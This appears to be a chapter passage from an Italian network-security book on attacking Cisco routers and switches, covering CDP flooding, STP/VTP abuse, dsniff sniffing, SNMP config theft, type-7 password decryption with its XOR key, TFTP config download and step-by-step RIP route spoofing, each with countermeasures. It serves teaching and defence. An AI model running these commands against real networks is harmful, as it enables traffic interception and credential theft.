Molti amministratori commettono errori nella configurazione delle VLAN, come si vede nella figura seguente. In condizioni specifiche, è possibile iniettare alcuni frame in una VLAN affinché i dati "saltino" su un'altra. Se le VLAN sono utilizzate per mantenere la sicurezza tra due segmenti di rete, questo è un problema.

Quando un host è connesso a una porta VLAN nativa, non viene aggiunta alcuna intestazione VLAN. Questo in teoria è corretto, sebbene rappresenti un rischio per la sicurezza. Se gli aggressori riescono ad accedere a una porta nativa, essi avranno la possibilità di "saltare" su qualsiasi VLAN. Sono disponibili diversi tool che consentono di verificare la presenza di questa vulnerabilità dovuta a un errore di configurazione.

Il CDP

Il CDP (*Cisco Discovery Protocol*) è un protocollo proprietario Cisco per la condivisione delle informazioni. Esso non è instradato ed è accessibile unicamente per il segmento locale. Il CDP mette in comune informazioni quali il modello del router, la versione del software e gli indirizzi IP. Nessuna informazione si serve dell'autenticazione; le informazioni sono sempre trasferite come testo in chiaro.

IRPAS e CDP

Diffusione:	*5*
Semplicità:	*10*
Impatto:	*8*
Fattore di rischio:	*8*

L'IRPAS (*Internetwork Routing Protocol Attack*) di Phenoelit (`http://www.phenoelit.de/fr/tool.html`) è una suite software, composta da diversi tool. CDP è un tool UNIX a riga di comando contenuto in IRPAS. FX scoprì che il Cisco IOS utilizza l'ID del dispositivo per individuare se un messaggio ricevuto è un aggiornamento e se il messaggio vicino è già noto. Apparentemente, se l'ID del dispositivo è eccessivamente lungo, il test fallisce e riempie continuamente la memoria del router.
Per utilizzare CDP, dovete specificare l'interfaccia Ethernet su cui intendete lavorare (-i eth0); tutte le altre opzioni sono facoltative. Ecco un esempio:

```
./cdp -i eth0 -n 10000 -l 1480 -r
```

Se l'aggressore ha intenzione di effettuare il flooding completo di un router, avvierà due processi di CDP aventi dimensioni diverse: uno con la massima dimensione (1480) per riempire la maggior parte della memoria, un altro per riempire il resto della memoria con una lunghezza di dieci ottetti.
La seconda modalità del funzionamento del tool CDP di Phenoelit è lo spoofing. Attivate questa modalità con l'opzione da riga di comando `-m 1`. Lo spoofing non ha alcuna utilità pratica per gli attacchi a un router, sebbene possa essere utilizzato per l'ingegneria sociale o semplicemente per confondere le idee all'amministratore locale. Esso viene utilizzato per inviare pacchetti di informazione CDP con il 100% di validità, che sembrano essere generati da altri router Cisco. In questo caso potete specificare voi stessi qualsiasi parte di un messaggio CDP. Un esempio è il seguente:

```
./cdp -v -i eth0 -m 1 -D 'Hacker' -P 'Ethernet0' -C RI \
-L 'Intel' -S "`uname -a`" -F '255.255.255.255'
```

In questo modo il router Cisco visualizza le informazioni seguenti:

```
cisco#sh cdp neig detail
      -------------------------
      Device ID: Hacker
      Entry address(es):
      IP address: 255.255.255.255
      Platform: Intel,  Capabilities: Router IGMP
```

```
Interface: Ethernet0,  Port ID (outgoing port): Ethernet0
Holdtime : 238 sec

Version :
Linux attack 2.2.10 #10 Mon Feb 7 19:24:43 MET 2000 i686 unknown
```

A meno che il CDP non sia indispensabile, esso deve essere sempre disattivato globalmente su ciascuna interfaccia, come mostrato di seguito:

```
Router(config)#no cdp run
Router(config-if)#no cdp enable
```

STP

Per prevenire i broadcast storm e altri effetti collaterali indesiderati del looping, venne creato l'STP (*Spanning Tree Protocol*), corrispondente allo standard 802.1d. L'STP utilizza l'STA (*Spanning Tree Algorithm*), che rileva che lo switch dispone di diversi modi per comunicare con un nodo, stabilisce qual è il modo migliore e blocca l'altro o gli altri percorsi. Ciascuno switch sceglie i percorsi di rete che utilizzerà per ogni segmento. Queste informazioni sono condivise da tutti gli switch mediante frame di rete chiamati BPDU (*Bridge Protocol Data Units*).
Un aggressore multihomed su un'area STP partecipante è in grado di falsificare la priorità di un ponte STP impostandola a un valore inferiore a quello di un ponte di root corrente. Se questo si verifica, l'aggressore può assumere la funzione del ponte di root e influire sulla topologia STP attiva, reindirizzando in questo modo tutto il traffico di rete sul suo sistema. Il ricalcolo STP permanente provocato dall'introduzione temporanea e dalla successiva rimozione di dispositivi STP con bassa priorità (priorità zero) del ponte rappresenta una forma semplice di attacco DoS o di attacco Man-In-The-Middle. È possibile utilizzare tool quali `brconfig` per influenzare l'STP.
Per proteggersi da questo attacco, occorre attivare `portfast` sulle interfacce dei nodi estremi. Ai dispositivi che stanno dietro una porta con STP `portfast` attivato non è consentito influenzare la topologia STP:

```
Switch(config)#spanning-tree portfast bpduguard
```

VTP

Il VTP (*VLAN Trunking Protocol*) è un protocollo di messaggistica centrale che mantiene la coerenza della configurazione delle VLAN gestendo l'aggiunta, la cancellazione e la ridefinizione delle VLAN all'interno di un dominio VTP. Un dominio VTP (anche detto dominio di gestione delle VLAN) è costituito da uno o più dispositivi di rete che condividono lo stesso nome di dominio VTP. Tutti i dispositivi devono essere interconnessi mediante circuiti di collegamento, poiché VTP comunica unicamente sulle porte di tali circuiti. Gli aggressori che riescono ad accedere a una di queste porte possono inviare messaggi VTP come un server privo di VLAN configurate. Se questo si verifica, verranno cancellate tutte le VLAN dell'intero dominio VTP. È nota l'esistenza di tool automatizzati che circolano nella comunità degli hacker.

Contromisure per VTP

Il VTP può provocare più problemi di quanti ne risolva; è consigliabile definire una password e impostare la modalità `vtp` a `transparent`, come mostrato di seguito:

```
Router(config)#vtp domain <vtp.domain> password <password>
Router(config)#vtp mode transparent
```

OSI Livello 3

Come nella maggior parte dei sistemi, deve essere creata una lista di controllo della sicurezza prima di collegare qualsiasi apparecchiatura. È consigliabile utilizzare il modello IOS sicuro (`http://www.cymru.com/Documents/secure-ios-template.html`) di Rob Thomas.

Internet Protocol versione 4 (IPv4)

L'Internet Protocol versione 4 non ha alcuna funzionalità di sicurezza incorporata. La maggior parte del traffico Internet dipende da IPv4 ed è a rischio. Una contromisura efficace presuppone che prendiate atto della mancanza di sicurezza e pianifichiate in anticipo una strategia. Dedicate il tempo necessario all'implementazione di qualche tipo di linea di difesa. Le misure di sicurezza affidabili non si trovano nella configurazione di default del prodotto.

Previsione del numero di sequenza TCP

Per avviare ogni sessione TCP viene inviato un pacchetto SYN. Il primo pacchetto SYN contiene un numero iniziale casuale, chiamato numero di sequenza. Per ogni pacchetto successivo della sessione TCP il numero di sequenza è incrementato di un'unità. Se un host riceve un pacchetto una porta e un IP di origine corretti, esso controlla il numero di sequenza; se il numero corrisponde, il pacchetto e i relativi dati vengono considerati fidati. Con alcune versioni di IOS meno recenti, questo numero di sequenza può essere indovinato. A partire da IOS 12.0(15) e 12.1(7), questo problema è stato risolto. Se il numero di sequenza può essere indovinato, si possono facilmente iniettare pacchetti contraffatti, con conseguente compromissione dei dati, Denial of Service o dirottamento della sessione.

IP Versione 6 o IP:Next Generation (IPng)

L'IPv6 (*IP Versione 6*) è destinato a sostituire l'IPv4, soprattutto a causa della presunta mancanza dello spazio degli indirizzamenti di IPv4. L'IPv6 utilizza un indirizzo IP a 128 bit composto da otto numeri interi a 16 bit, separati da due punti. Eccone un esempio:

```
ABCD:EF01:2345:6789:0123:4567:8FF1:2345
```

IPv6 contiene diverse nuove funzionalità, tra cui la sicurezza nativa. Molte VPN ad alta sicurezza si servono dell'IPSec Encryption framework (RFC 2401). Con l'IPv6, tutto il traffico verrà protetto conformemente a questo standard evoluto con IPv6 IPSec.

È possibile utilizzare due diversi metodi di crittografia. La modalità tunnel cripta l'intero pacchetto IP, i dati di protocollo e il payload. Viceversa, la modalità transport cripta unicamente il livello di trasporto (cioè TCP,UDP e ICMP). Entrambi i metodi sono probabilmente affidabili come sostituti di IPv4. Poiché non è facile familiarizzare con l'IPv6, i gateway sono aperti e disponibili per chiunque desideri effettuare test su tale protocollo. Per maggiori informazioni, visitate l'indirizzo `http: //www.6bone.net`.

TCPDump

Diffusione:	*9*
Semplicità:	*8*
Impatto:	*8*
Fattore di rischio:	*9*

TCPDump è il più diffuso tra gli sniffer del traffico di rete. Esso può essere utilizzato per stampare gli header dei pacchetti o per visualizzare quelli del traffico di rete. Utilizzate questo tool per identificare i problemi di rete, rilevare "attacchi ping" o monitorare l'attività della rete.
Di seguito potete vedere l'output del comando `tcpdump` che visualizza una sessione SSH tra client e server:

```
root@server:/# tcpdump -c 2
20:33:06.635019 server.ssh > client.58176: P 2280871205:2280871225(20) ack
2027404582 win 16060 (DF) [tos 0x10]  (ttl 64, id 15592, len 60)
20:33:06.640567 server.ssh > client.58176: P 20:304(284) ack 1 win 16060
➥(DF)
[tos 0x10]  (ttl 64, id 15595, len 324)
root@server:/#
```

Quando viene utilizzata l'espressione `-X`, tutto il traffico di rete è visualizzato anche nel formato esadecimale e ASCII, compresi gli header IP e TCP:

```
root@server:/ # tcpdump -vvv -X -c 2
tcpdump: listening on eth0
20:33:06.635019 ns1.aol.com.ssh > 66-19-0-26.gen.isp.net.58176: P
2280871205:2280871225(20) ack 2027404582 win 16060 (DF) [tos 0x10]
(ttl 64, id 15592, len 60)
0x0000   4510 003c 3ce8 4000 4006 42bf d829 a001        E..<<.@.@.B..)..
0x0010   42c0 001a 0016 e340 87f3 5525 78d7 bd26        B......@..U%x..&
0x0020   5018 3ebc f3f6 0000 0000 000b cdc7 89db        P.>.............
0x0030   1e0b 5973 ce81                                 ..Ys..
20:33:06.640567 ns1.aol.com.ssh > 66-19-0-26.gen.isp.net.58176: P 20:304(284)
ack 1 win 16060 (DF) [tos 0x10]  (ttl 64, id 15595, len 324)
0x0000   4510 0144 3ceb 4000 4006 41b4 d829 a001        E..D<.@.@.A..)..
0x0010   42c0 001a 0016 e340 87f3 5539 78d7 bd26        B......@..U9x..&
0x0020   5018 3ebc a4d9 0000 0000 0110 6130 f24a        P.>.........a0.J
0x0030   d307 8b11 8a16                                 ......
root@server:/ #
```

dsniff

Utilizzare il programma di utilità `tcpdump` per stabilire il tipo di supporto, va bene; ma come fare per impadronirsi delle password, che sono i gioielli della corona del mondo

dei computer? Potreste acquistare un pacchetto software come SnifferPro per Windows, prodotto da NAI, o uno meno costoso come CaptureNet di Laurentiu Nicula, ma la soluzione di gran lunga migliore è sicuramente il prodotto sviluppato da Dug Song (`http://naughty.monkey.org/~dugsong/dsniff/`). Dsniff rappresenta uno degli strumenti di intercettazione delle password più sofisticati al momento disponibili.

Il numero di applicazioni che utilizzano password e testo in chiaro sono numerose e vale la pena ricordarle: FTP, telnet, POP, SNMP, HTTP, NNTP, ICQ, IRC, File Sharing, Socks, Network File System (NFS), mountd, rlogin, IMAP, AIM, X11, CVS, Citrix ICA, pcAnywhere, NAI Sniffer, Microsoft SMB e Oracle SQL*Net, solo per citarne alcune. La maggior parte di queste applicazioni utilizza nomi utente e password in chiaro oppure adotta una qualche forma di cifratura debole, di codifica o di mascheramento che può essere facilmente svelato. Questa è la situazione in cui `dsniff` offre il meglio di sé.

Con `dsniff` è possibile effettuare lo spoofing ARP su un segmento Ethernet condiviso o commutato. Utilizzando questo tool, un aggressore può rimanere in ascolto del traffico inviato sulla rete. Potete anche scaricare e provare la versione del prodotto per piattaforme Win32 dal sito Web di eEye all'indirizzo `http://www.eeye.com`. Se lavorate con sistemi Windows, dovete utilizzare l'interfaccia winpcap NDIS, che potrebbe però causare degli inconvenienti su sistemi con problemi di conflitto tra driver. Potete scaricare Winpcap dal sito Web all'indirizzo `http://netgroupserv.polito.it/twinpcap/install/Default.htm`. Se eseguito in ambiente Linux, `dsniff` consente di svelare tutte le password in chiaro o deboli che transitano sul cavo:

```
[mploessel@hackerbox dsniff-1.8] dsniff
- - - - - - - - - - -
05/21/00 10:49:10 brett -> bigserver (ftp)
USER brettp
PASS colorado

- - - - - - - - - - -
05/21/00 10:53:22 ggf -> epierce (telnet)
epierce
kaze

- - - - - - - - - - -
05/21/00 11:01:11 niuhi -> core.lax (snmp)
[version 1]
d4yj4y
```

Oltre allo strumento di intercettazione delle password, il pacchetto Dsniff include anche un assortimento di utilità, come per esempio `mailsnarf` e `webspy`, che vale la pena esaminare. `mailsnarf` è un piccolo programma molto interessante che consente di riassemblare tutti i pacchetti di posta elettronica e visualizzare il loro contenuto sullo schermo, proprio come se fossero stati scritti da voi. `webspy` è utile, inoltre, se volete tenere traccia dei siti Web visitati dai dipendenti. Il programma consente, infatti, di registrare dinamicamente nel vostro browser Web le pagine visitate dalla persona controllata:

```
[root]# mailsnarf
From mploessel@hackingexposed.com Mon May 29 23:19:10 2000
Message-ID: 001701bfca02$790cca90$6433a8c0@foobar.com
Reply-To: "Matthew Ploessel" mploessel@hackingexposed.com
From: "Matthew Ploessel" mploessel@hackingexposed.com
To: "George Kurtz" george@hackingexposed.com
References: 002201bfc729$7d7ffe70$ab8d0b18@JOC
Subject: Re: lights please
Date: Mon, 29 May 2000 23:44:15 -0700
```

```
MIME-Version: 1.0
Content-Type: multipart/alternative;
        boundary="——=_NextPart_000_0014_01BFC9C7.CC970F30"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2919.6600
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600

This is a multi-part message in MIME format.
———=_NextPart_000_0014_01BFC9C7.CC970F30
Content-Type: text/plain;
        charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
George,

I left the goldfish in my dark cubicle and it turned white. Who should
I talk to for better lighting?
-Matt
```

`webmitm` è una nuova e potente funzionalità di `dsniff`. Con `webmitm`, il traffico SSL/SSH può essere intercettato e contraffatto. Ovviamente, questo attacco metterà sull'avviso gli utenti del Web a causa del certificato SSL che risulta falsificato, sebbene a un esame più attento il nome dell'emittente sembri corretto. Solo un utente con un occhio esperto sarà in grado di rilevare la differenza.
`dnsspoof` è una funzionalità molto potente di `dsniff`. Esso intercetta le ricerche e le risposte DNS con l'indirizzo IP configurabile. In questo caso, l'aggressore ha utilizzato 31.3.3.7:

```
C:\ping www.hackingexposed.com

Pinging www.hackingexposed.com [31.3.3.7] with 32 bytes of data:
Reply from 31.3.3.7: bytes=32 time<10ms TTL=249
Reply from 31.3.3.7: bytes=32 time<10ms TTL=249
Reply from 31.3.3.7: bytes=32 time<10ms TTL=249
Reply from 31.3.3.7: bytes=32 time<10ms TTL=249
```

Anche se leggere la posta del vostro vicino potrebbe rivelarsi divertente, in genere è anche un reato.

Contromisure a dsniff

La contromisura tradizionale per difendersi dall'intercettazione delle password in chiaro, è sempre stata quella di passare da un supporto condiviso su Ethernet a un supporto commutato. Gli switch non forniscono tuttavia alcun contributo alla lotta contro gli attacchi per intercettazione.
La migliore contromisura per dsniff è utilizzare una qualche forma di cifratura del traffico di rete. Potete utilizzare un prodotto come SSH (*Secure Shell*) per incapsulare tutto il traffico in un sistema SSH prima di spedirlo in chiaro, o servirvi di un tunnel basato su IPSec per effettuare la crittografia end-to-end di tutto il vostro traffico.

Ettercap

Descritto come il più potente tool di manipolazione del traffico, Ettercap (`http://ettercap.sourceforge.net`) consente anche all'hacker alle prime armi di ef-

fettuare lo sniffing e la manipolazione avanzata dei pacchetti. Ettercap consente di eseguire lo sniffing full-duplex e l'inserimento dati senza soluzione di continuità, il tutto con l'aiuto di un'interfaccia grafica. Gli amministratori di rete dovranno inserire questo tool di autorità nell'elenco delle "dieci principali ricercati".

Errori di configurazione

Gli errori di configurazione più semplici sono una causa piuttosto diffusa di vulnerabilità. Il rafforzamento del software, la crittografia e il ricorso a password difficili da indovinare risultano inutili quando viene aperta una porta virtuale a causa di negligenze elementari che incidono sulla sicurezza.

Read/Write MIB

Diffusione:	*2*
Semplicità:	*8*
Impatto:	*9*
Fattore di rischio:	*6*

Molti dispositivi di rete supportano una vecchia MIB che consente a chiunque sia in possesso del nome di comunità per lettura e scrittura, di scaricare via TFTP il file di configurazione del router o dello switch. Nel caso di Cisco, la MIB in questione è OLD- CISCO-SYS-MIB. Poiché l'elenco delle password Cisco è cifrato all'interno di questo file (con un algoritmo di cifratura debole, un banale XOR), un hacker potrebbe decifrarlo e riconfigurare il vostro router o switch.
Potete verificare voi stessi se i vostri router sono vulnerabili: con IP Network Browser di SolarWinds (`http://www.solarwinds.net`), digitate il nome di comunità SNMP per lettura e scrittura, quindi lanciate una scansione del dispositivo o della rete che vi interessa. Alla fine, otterrete per ogni dispositivo l'albero delle informazioni SNMP disponibili (si veda la Figura 9.4).

Figura 9.4
IP Network Browser di SolarWinds dispone di un'interfaccia semplice per visualizzare tutte le stringhe rilevate.

Quando il dispositivo selezionato risponde e vengono visualizzati i nodi foglia dell'albero, selezionate *Nodes/View Config File* nella barra dei menu. In questo modo verrà avviato il vostro server TFTP e, se il router è vulnerabile, riceverete il file di configurazione Cisco, come mostrato nella Figura 9.5.

```
TEST~1.CIS - Cisco Config Viewer
File Edit Goto IP Address View Options Help

!* CompanyHQ.CiscoConfig
!* IP Address :
!* Community  :
!* Downloaded 6/23/99 2:22:15 PM by Cisco Config Viewer Version
2.2.1

!
version 11.2
service password-encryption
service udp-small-servers
service tcp-small-servers
!
hostname CompanyHQ
!
enable secret 5 $1$.pUt$w8jwdzxf5nHkjlIFWcDuv.
enable password 7 08204E
!
ip subnet-zero
isdn switch-type basic-nil
!
interface Ethernet0/0
 ip address 172.16.17.17 255.255.255.240
!
interface Serial1/0
 ip address 172.17.1.1 255.255.255.0
 no fair-queue
!
interface Serial1/1

IOS 11.2 CAPS INS
```

Figura 9.5

Il prodotto Cisco Config Viewer di SolarWinds consente di scaricare facilmente il file di configurazione Cisco, una volta che sia noto il nome di comunità per lettura e scrittura.

Una volta scaricato il file di configurazione, per decifrarlo è sufficiente premere il pulsante *Decrypt Password* sulla barra degli strumenti, come mostrato nella Figura 9.6.
Per verificare se un vostro dispositivo sia vulnerabile, senza violarlo, potete cercarlo sul sito `ftp://ftp.cisco.com/pub/mibs/supportlists/`. Una volta trovato, aprite il relativo file `supportlist.txt`: se al suo interno trovate riferimenti alla MIB OLD-CISCO-SYS-MIB, probabilmente siete vulnerabili.
Sotto UNIX è sufficiente un solo comando per rispedire i file di configurazione Cisco. Una volta accertata la password di lettura/scrittura per un dispositivo (10.11.12.13), se sulla vostra macchina (192.168.200.20, per esempio) è in esecuzione un server TF-TP, è sufficiente il comando:

```
Snmpset 10.11.12.13 private 1.3.6.1.4.1.9.2.1.55.192.168.200.20 s config.file
```

I due elementi di un file di configurazione Cisco più appetibili per un hacker sono la password di abilitazione e l'autenticazione telnet. Entrambe le password sono

```
TEST~1.CIS - Cisco Config Viewer
File Edit Goto IP Address View Options Help

!* CompanyHQ.CiscoConfig
!* IP Address :
!* Community :
!* Downloaded 6/23/99 2:22:15 PM by Cisco Config Viewer Version
2.2.1

!
version 11.2
service password-encryption
service udp-small-servers
service tcp-small-servers
!
hostname CompanyHQ
!
enable secret 5 $1$.pUt$w8jwdzxf5nHkj1IFWcDuv.
enable password ab
!
ip subnet-zero
isdn switch-type basic-nil
!
interface Ethernet0/0
 ip address 172.16.17.17 255.255.255.240
!
interface Serial1/0
 ip address 172.17.1.1 255.255.255.0
 no fair-queue
!
interface Serial1/1

IOS 11.2 CAPS INS
```

Figura 9.6

La decifrazione delle password Cisco nel file di configurazione è banale con la funzionalità Decrypt Password di Cisco Config Viewer.

conservate in forma cifrata nel file di configurazione e, come vedremo tra breve, la decifratura è piuttosto elementare.
Questa è la riga contenente la password di abilitazione cifrata:

```
enable password 7 08204E
```

Queste, invece, definiscono la password di autenticazione per `telnet`:

```
line vty 0 4
 password 7 08204E
 login
```

Contromisure a Write Net MIB per Cisco

Rilevamento

Il modo più semplice per intercettare le richieste SNMP di scrittura della MIB è quello di adottare syslog, che registra ogni richiesta. Innanzitutto dovrete installare il daemon syslog sul sistema target UNIX o NT; quindi, dovrete attivare la registrazione da parte di syslog. Sui sistemi Cisco si usa il seguente comando:

```
logging 196.254.92.83
```

Prevenzione

Per impedire che un hacker possa approfittare della vecchia MIB, avete diverse possibilità.

- Servitevi di una ACL per limitare l'utilizzo di SNMP sul dispositivo solo alle reti o agli host autorizzati. Nel caso di dispositivi Cisco, per effettuare questa operazione si utilizza:

  ```
  access-list 101 permit udp 172.29.11.0 0.255.255.255 any eq 161 log
  ```

- Consentite l'accesso via SNMP in sola lettura (*read-only*, RO). Per i dispositivi Cisco, il comando è il seguente:

  ```
  snmp-server community <nome di comunità difficile> RO
  ```

- Disattivare del tutto SNMP sui dispositivi Cisco:

  ```
  no snmp-server
  ```

Cisco: cifratura debole

Diffusione:	*9*
Semplicità:	*10*
Impatto:	*10*
Fattore di rischio:	*10*

Sui dispositivi Cisco è stato adottato per anni un algoritmo di cifratura debole per memorizzare le password sia per vty sia di autorizzazione. Entrambe le password sono conservate nel file di configurazione del dispositivo (`show config`), e solitamente la loro decifratura richiede un impegno minimo. Per verificare se i vostri router sono vulnerabili, potete esaminarne il file di configurazione con il seguente comando:

```
show config
```

Se trovate una riga simile a quella riportata di seguito, che non comincia con il segno del dollaro ($), la password di abilitazione può essere facilmente decifrata nel modo seguente:

```
enable password 7 08204E
```

Se, invece, nel file di configurazione trovate una riga simile a quella, la password di abilitazione non è vulnerabile (ma le password per `telnet` continuano a esserlo):

```
enable secret 5 $1$.pUt$w8jwdabc5nHkj1IFWcDav.
```

Questo dimostra che siamo in presenza di un amministratore Cisco accorto, che ha utilizzato il comando `enable secret` per applicare l'algoritmo di cifratura MD5 alla password, invece del comando predefinito `enable password`, che applica l'algoritmo più debole. Per quanto ne sappiamo, però, la cifratura MD5 delle password è disponibile solo per la password di abilitazione e non per le altre definite sul sistema, come quella per vty:

```
line vty 0 4
 password 7 08204E
 login
```

L'algoritmo debole non è che una semplice cifratura XOR basata su un seme (*seed*) coerente. Le password Cisco cifrate sono lunghe fino a 11 caratteri alfanumerici e tengono conto di maiuscole e minuscole. I primi due byte della password sono un numero decimale casuale da 0-0 a 0-F, il resto rappresenta la password cifrata mediante un XOR con una sequenza di caratteri nota: "dsfd;kfoA,.iyewrkldJKDHSUB". Su Internet sono disponibili diversi programmi che permettono di decifrare questa password, ma il primo è stato uno script di shell realizzato da Hobbit (`http://www.avian.org`). Il secondo è un programma C (ciscocrack.c) scritto da un hacker di nome SPHiXe, e può essere reperito in un'analisi della gestione delle password Cisco, svolta da diverse persone (`http://www.rootshell.com/archive-j457nxiqi3gq59dv/199711/ciscocrack.c.html`). La terza versione è un'applicazione Palm Pilot sviluppata da Dr. Mudge di L0pht, che potete trovare sul sito `http://www.l0pht.com~kingpin/cisco.zip`, corredata da un'analisi esauriente all'indirizzo `http://packetstorm.decepticons.org/cisco/cisco.decrypt.tech.info.by.mudge.txt`. Infine, la SolarWinds ha sviluppato un decifratore Cisco per NT. Il programma è incluso nella suite di gestione delle reti e può essere trovato all'indirizzo `http://www.solarwinds.net`.

Cisco Decryptor di SolarWinds

Per quelli tra voi che lo preferiscono, SolarWinds di Tulsa, Oklahoma, vende una versione del decifratore Cisco per Windows. Questa società sviluppa software di gestione delle reti per grandi aziende di telecomunicazioni e offre un decifratore integrato nel prodotto Cisco Config Viewer, oltre alla versione standalone. Come si può vedere nella Figura 9.7, la decifratura è molto semplice.

Figura 9.7

Cisco Password Descryptor di SolarWinds è una semplice applicazione dotata d'interfaccia grafica per la decifratura delle password Cisco con cifratura debole.

Contromisura alla decifratura delle password Cisco

Prevenzione

La soluzione a questo problema è utilizzare il comando `enable secret` quando si modifica la password. Questo comando imposta la password di abilitazione utilizzando l'algoritmo di cifratura MD5, per il quale non è ancora stata trovata una tecnica di decifratura. Sfortunatamente, non siamo al corrente di meccanismi analoghi per applicare l'algoritmo MD5 alle altre password Cisco, in particolare a quelle per vty.

Download mediante TFTP

Diffusione:	*9*
Semplicità:	*6*
Impatto:	*9*
Fattore di rischio:	*8*

La maggior parte dei router supporta il protocollo TFTP (*Trivial File Transfer Protocol*), un sistema di trasferimento dei file basato su UDP (porta 69), utilizzato per effettuare backup e ripristinare i file di configurazione. Ovviamente, per scoprire se questo servizio è attivo sui vostri dispositivi è sufficiente usare `nmap`:

```
[root@happy] nmap -sU -p69 -nvv target
```

Sfruttare TFTP per scaricare i file di configurazione è altrettanto semplice, se gli amministratori di rete hanno utilizzato nomi banali per i file. Per esempio, effettuando una ricerca inversa su DNS, a proposito di un dispositivo presente sulla rete (192.168.0.1), scopriamo che il relativo nome DNS è "lax-serial-rtr". A questo punto, possiamo provare a scaricare il file .cfg che porta lo stesso nome, utilizzando il seguente comando:

```
[root@happy] tftp
> connect 192.168.0.1
> get lax-serial-rtr.cfg
> quit
```

Se il vostro router è vulnerabile, potreste trovare nella directory corrente il suo file di configurazione (lax-serial-rtr.cfg): con ogni probabilità conterrà i vari nomi di comunità ed eventuali liste di controllo degli accessi. Per maggiori informazioni sul funzionamento di TFTP con dispositivi Cisco, potete consultare la sezione dell'archivio di Packet Storm dedicata a Cisco, all'indirizzo `http://packetstormsecurity.org/cisco/Cisco-Conf-0.08.readme`.

Contromisura per TFTP

Prevenzione

Per disattivare la vulnerabilità al TFTP, esistono diverse possibilità.

- Disattivare del tutto l'accesso via TFTP. Il comando specifico per fare ciò dipende fortemente dal particolare tipo di router. Per prima cosa, controllate la documentazione del prodotto. Per la famiglia Cisco 7000, potete provare:

```
no tftp-server flash <<dispositivo:nomefile>>
```

- Attivare un filtro che impedisca l'accesso via TFTP. Nel caso dei router Cisco, dovrebbe essere sufficiente qualcosa del genere:

```
access-list 101 deny udp any any eq 69 log  ! Block tftp access.
```

Hacking del protocollo di routing

In tutto questo capitolo, abbiamo solo accennato all'argomento della compromissione della rete. In questo paragrafo parleremo dei protocolli di routing. Alcune tecniche di attacco sono un rischio teorico ma devono comunque essere considerate una possibile minaccia. I rischi connessi alla modifica dei dati, agli attacchi Man-In-The-Middle e DoS e allo sniffing dei pacchetti sono una possibilità tutt'altro che remota, per cui non possono essere ignorati. I protocolli di routing sono obiettivi molto allettanti poiché consentono di controllare i dati e il loro flusso.
Sono tuttavia disponibili alcuni tool. Nonostante la scelta dipenda dal sistema operativo adottato vi consigliamo i seguenti:

- `http://www.ntsecurity.nu/toolbox/rpak/`
- `http://www.phenoelit.de/irpas/`

Contraffazione di pacchetti RIP

Diffusione:	*4*
Semplicità:	*4*
Impatto:	*10*
Fattore di rischio:	*6*

Una volta identificati i dispositivi di instradamento presenti sulla vostra rete, gli hacker più sofisticati ricercheranno i dispositivi che supportano il protocollo RIP v1 (RFC 1058) o RIP v2 (RFC 1723). Perché? Perché i pacchetti RIP possono essere facilmente contraffatti.

- RIP è basato su UDP (porta 520/UDP), che notoriamente è un protocollo non si affida alla connessione; pertanto, è in grado di accettare qualsiasi pacchetto ricevuto anche se non è in risposta a un pacchetto inviato.
- RIP v1 non prevede meccanismi di autenticazione, consentendo a chiunque di inviare un pacchetto RIP a un router, con la certezza che questo non verrà scartato.
- RIP v2 dispone di una rudimentale forma di autenticazione che permette l'uso di una password non cifrata di 16 byte, ma ovviamente, come avrete ormai imparato, le password in chiaro possono essere intercettate.

Di conseguenza, un hacker può inviare pacchetti a un router RIP, chiedendo che questi vengano reindirizzati a una rete o a un sistema non autorizzato, piuttosto che al legittimo destinatario. Di seguito viene descritta la procedura per attaccare un router RIP.

1. Identificate il router RIP che desiderate attaccare, eseguendo una scansione della porta UDP 520.
2. Determinate la tabella di instradamento.
   - Se vi trovate sullo stesso segmento fisico su cui si trova il router e siete in grado di catturare il traffico, potete ascoltare i broadcast RIP che dichiarano i propri percorsi di instradamento (nel caso di un router RIP attivo), oppure potete richiedere i percorsi di instradamento (nel caso di un router RIP passivo o attivo).

- Se vi trovate su una postazione remota o non siete in grado di catturare i pacchetti sul cavo, potete utilizzare il programma di utilità **rprobe** di Humble. Aprite **rprobe** in una finestra e chiedete al router RIP quali sono i percorsi di instradamento disponibili:

```
[root#] rprobe -v 192.168.51.102
Sending packet.
Sent 24 bytes.
```

- Aprite `tcpdump` (o il vostro software favorito per la cattura dei pacchetti) in un'altra finestra e leggete la risposta del router (l'output generato da SnifferPro di Network Associates potrebbe differire da quello prodotto dal vostro analizzatore di pacchetti):

```
------------------ RIP Header ------------------
Routing data frame 1
      Address family identifier = 2 (IP)
      IP address = [10.42.33.0]
      Metric            = 3

      Routing data frame 2
      Address family identifier = 2 (IP)
      IP address = [10.45.33.0]
      Metric            = 3

      Routing data frame 2
      Address family identifier = 2 (IP)
      IP address   = [10.45.33.0]
      Metric            = 1
--------------------------------------------------
```

3. Stabilite la condotta di attacco migliore. Questo tipo di attacco è limitato solo dalla creatività dell'hacker. In questo esempio vogliamo reindirizzare tutto il traffico diretto a un sistema verso la nostra macchina, per poterlo ascoltare e, di conseguenza, raccogliere informazioni importanti.
Per fare questo dobbiamo aggiungere al router RIP (192.168.51.102) il seguente percorso di instradamento:

Indirizzo IP	= **10.45.33.10**
Netmask	= **255.255.255.255**
Gateway	= **172.16.41.200**
Metric	= **1**

4. Aggiungete il percorso di instradamento. Utilizzando `srip` di Humble è possibile contraffare un pacchetto RIP v1 o v2 in modo da aggiungerlo al percorso di instradamento statico originale:

```
[root#] srip -2 -n 255.255.255.255 172.16.41.200 192.168.51.102
10.45.33.10 1
```

5. In questo modo, tutto il traffico diretto all'indirizzo 10.45.33.1 (che potrebbe essere un qualsiasi server le cui password possono essere facilmente intercettate) verrà reindirizzato al sistema pirata (172.16.41.200), per essere ulteriormente inoltrato. Ovviamente, per poter inoltrare il traffico in entrata sul

nostro sistema, è necessario utilizzare `fragrouter` o un servizio IP forwarding a livello di kernel:

Fragrouter:

```
[root#] ./fragrouter -B1
```

IP forwarding a livello kernel:

```
[root#] vi /proc/sys/net/ipv4/ip_forward (change 0 to 1)
```

6. Configurate il vostro analizzatore di pacchetti Linux preferito (per esempio `dsniff`) ed esaminate i nomi utente e le password mentre vengono trasmessi.

Per ulteriori informazioni sulla contraffazione dei pacchetti RIP, consultate i messaggi sul sito di Technotronic di Humble dedicati a questo argomento, all'indirizzo `http://www.technotronic.com/horizon/ripar.txt`.
